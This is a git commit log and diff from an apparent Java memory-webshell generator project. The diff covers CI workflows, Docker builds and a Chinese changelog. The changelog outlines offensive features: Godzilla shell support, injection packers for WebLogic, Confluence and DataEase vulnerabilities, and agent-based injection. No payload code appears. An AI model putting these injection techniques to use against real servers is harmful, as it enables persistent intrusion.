ReaJason b955ecd416 refactor: simplify code 2024-12-04 22:40:58 +08:00
ReaJason 26d07f522e test: speedup integration test use sharedContainer
refer: https://java.testcontainers.org/test_framework_integration/junit_5/#shared-containers
2024-12-04 21:53:52 +08:00
ReaJason 9a843b7613 test: fix totalCount calc error 2024-12-04 21:52:07 +08:00
ReaJason d926832a21 fix: same classname inject just once 2024-12-04 21:51:21 +08:00
ReaJason a29bfbf7ba ci: update badge 2024-12-03 19:18:05 +00:00
ReaJason 61f215d10c test: add more docker compose file 2024-12-04 03:14:08 +08:00
ReaJason d247f63f88 fix: tomcat9+ filter not work 2024-12-04 03:14:08 +08:00
ReaJason 4162197169 fix: tomcat6 and 7 listener not work 2024-12-04 03:14:08 +08:00
ReaJason 9864c3da32 feat: support JDK8 ScriptEngine packer 2024-12-04 03:14:08 +08:00
ReaJason bddeb4fbaf test: fix case name error 2024-12-04 03:14:08 +08:00
ReaJason d6b0813584 ci: update badge 2024-12-03 13:31:04 +00:00
ReaJason 96675c28b1 ci: fix badge not generate 2024-12-03 21:27:49 +08:00
ReaJason 411fb39d91 test: enhance integration report 2024-12-03 21:19:21 +08:00
ReaJason 33b1ac28bc docs: update README 2024-12-02 02:09:22 +08:00
ReaJason 8b8a44503e test: first show failed cases 2024-12-02 02:08:57 +08:00
ReaJason f6d0e273fe ci: update badge 2024-12-01 17:14:27 +00:00
ReaJason 746353b5c9 Merge branch 'master' of github.com:ReaJason/MemShellParty 2024-12-02 01:11:07 +08:00
ReaJason e2340ff2d1 test: support integration test summary 2024-12-02 01:10:51 +08:00
ReaJason 7b9beeb8bb fix: command shell use paramName 2024-12-02 01:08:22 +08:00
ReaJason 2d6f523075 test: add tomcat6-jdk6 integration-test 2024-11-29 18:05:28 +08:00
ReaJason 645ffbf51f docs: add javadoc 2024-11-29 18:04:57 +08:00
ReaJason 7e86b19e04 docs: add ByPassJdkModule extend java doc 2024-11-29 02:46:50 +08:00
ReaJason 454b48a1fa ci: update badge 2024-11-28 18:13:54 +00:00
ReaJason 3b91197446 ci: merge jacoco failed 2024-11-29 02:11:22 +08:00
ReaJason 53a982fd54 test: fix error 2024-11-29 02:06:24 +08:00
ReaJason aabb678dd3 fix: typo 2024-11-29 02:02:26 +08:00
ReaJason b6ce6581a0 feat: support bypassJdkModule and Jakarta 2024-11-29 02:02:04 +08:00
ReaJason d0dcc8d56f ci: update badge 2024-11-26 17:18:23 +00:00
ReaJason 272188a83d fix: godzilla manager test failed 2024-11-27 01:17:08 +08:00
ReaJason 957566f847 ci: update badge 2024-11-26 16:42:39 +00:00
ReaJason 4f1f4f2c1a test: rm test.jsp req 2024-11-27 00:41:31 +08:00
ReaJason eb994b7ad4 feat: add godzilla manager and integration container test 2024-11-27 00:36:38 +08:00
ReaJason a06eb2f869 feat: support tomcat cmd shell and jsp packer 2024-11-27 00:35:35 +08:00
ReaJason 184bd1e9ad test: rm integration 2024-11-27 00:32:21 +08:00
ReaJason c192954cfa docs: add coverage badge 2024-11-24 13:45:55 +08:00
ReaJason cc5a8e726a ci: update badge 2024-11-24 05:43:55 +00:00
ReaJason 37a7683518 ci: generate json file 2024-11-24 13:43:12 +08:00
ReaJason 0961070822 ci: update badge 2024-11-24 05:37:57 +00:00
ReaJason 8a437dbe03 ci: upload badge info 2024-11-24 13:37:07 +08:00
ReaJason a42b2bd38c test: add jacoco 2024-11-24 13:32:05 +08:00
ReaJason d37b0a1929 feat: add tomcat listener and valve 2024-11-24 13:31:38 +08:00
ReaJason 2501e56a6e test: io exception in ci 2024-11-24 05:00:48 +08:00
ReaJason 1b9c88e800 fix: compile error 2024-11-24 04:57:15 +08:00
ReaJason e891e9999f ci: rename 2024-11-24 04:52:26 +08:00
ReaJason b31db5c1ac feat: add godzilla filter generate 2024-11-24 04:48:15 +08:00
ReaJason 033bc2b9a5 ci: add ci test 2024-11-24 04:46:38 +08:00
ReaJason 9a1e31d660 MIT license 2024-11-24 04:45:10 +08:00
ReaJason c085607be8 docs: update README 2024-09-01 15:28:42 +08:00
ReaJason 3402d50369 docs: update README 2024-09-01 15:22:01 +08:00
ReaJason d9922401bd Initial commit 2024-09-01 13:17:19 +08:00
951 changed files with 54958 additions and 20518 deletions
@@ -9,7 +9,7 @@ if __name__ == '__main__':
args = parser.parse_args() args = parser.parse_args()
version = args.version version = args.version
with open("../../CHANGELOG.md") as f: with open("../../web/content/docs/changelog.mdx") as f:
lines = f.readlines() lines = f.readlines()
for line in lines: for line in lines:
if line.startswith(f"## [{version}]"): if line.startswith(f"## [{version}]"):
+30 -16
View File
@@ -12,18 +12,26 @@ on:
jobs: jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
@@ -34,10 +42,16 @@ jobs:
working-directory: web working-directory: web
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle (Linux)
run: ./gradlew :boot:bootjar -x test if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar - name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
@@ -48,28 +62,28 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v8
with: with:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -81,15 +95,15 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
+41
View File
@@ -0,0 +1,41 @@
name: Docker Build Test
on:
push:
branches:
- master
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'vul/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v6
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
+41
View File
@@ -0,0 +1,41 @@
name: docker-push
on:
workflow_dispatch:
inputs:
path:
description: 'Path'
required: true
default: '/redqueen-memshell-party'
tag:
description: "Tag"
required: true
default: "redqueen"
jobs:
docker-push:
name: Docker Push
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Login to Docker Hub
uses: docker/login-action@v4
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Build and push RedQueen
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=${{ inputs.path }}
CONTEXT_PATH=${{ inputs.path }}
push: true
tags: |
docker.io/reajason/memshell-party:${{ inputs.tag }}
@@ -0,0 +1,78 @@
name: MemShell IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -0,0 +1,72 @@
name: Probe IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- '**/probe/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v6
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+21 -16
View File
@@ -14,7 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }} version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -36,16 +36,21 @@ jobs:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
@@ -70,7 +75,7 @@ jobs:
needs: [ info, build-jar ] needs: [ info, build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -79,26 +84,26 @@ jobs:
path: boot/build/libs path: boot/build/libs
- name: Login to GitHub Container Registry - name: Login to GitHub Container Registry
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: ghcr.io registry: ghcr.io
username: ${{ github.repository_owner }} username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -110,9 +115,9 @@ jobs:
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
build-args: | build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party ROUTE_ROOT_PATH=/redqueen-memshell-party
@@ -125,15 +130,15 @@ jobs:
name: Deploy to Maven Central name: Deploy to Maven Central
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
@@ -151,7 +156,7 @@ jobs:
permissions: permissions:
contents: write contents: write
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -0,0 +1,47 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
-174
View File
@@ -1,174 +0,0 @@
name: Test
on:
push:
branches:
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
docker-build-test:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/master'
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
detection-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
+35
View File
@@ -0,0 +1,35 @@
name: Unit-Test
on:
push:
branches:
- '**'
paths:
- 'generator/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
-292
View File
@@ -1,292 +0,0 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
> [!WARNING]
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
> 进行调整。
### Added
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
- Web 添加关于页面
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
### Fixed
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
- 修复 TongWeb8 context 获取错误导致注入失败的问题
### Changed
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
- 简化 Tomcat AgentInjector 的代码
- 前端 module 分包减少单个 js 体积,加快首次加载速度
- 移除 memshell-party-bom 模块,改用
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
- 使用 build-logic 替代
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
### Added
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
### Fixed
- 修复哥斯拉无法使用最新版连接
- 修复 TongWeb8 Valve 未适配
- 修复移动端 UI 输入框 placeholder 字体过大
- 修复移动端 UI 类名复制按钮超出卡片范围
### Changed
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
- 合并 memshell 与 memshell-jdk8 模块,方便维护
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
- 简化 Shell base64 方法代码
- Gradle 更新至 8.14.2
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
Kotlin DSL
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
### Added
- 支持 TongWeb8 内存马生成 by @ReaJason
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
### Fixed
- 修复 Apusic Listener 由于 response 获取错误导致不可用
- 修复 Jakarta WebSocket 无法注入
### Changed
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
- Gradle、Web 项目依赖更新
- UI 生成界面默认勾选缩小字节码
- UI 优化手机端选项布局,单行显示每个输入框
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
- 提取公共 Tailwind CSS 类名,简化表单组件代码
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
- 重构 Shell Generator 代码
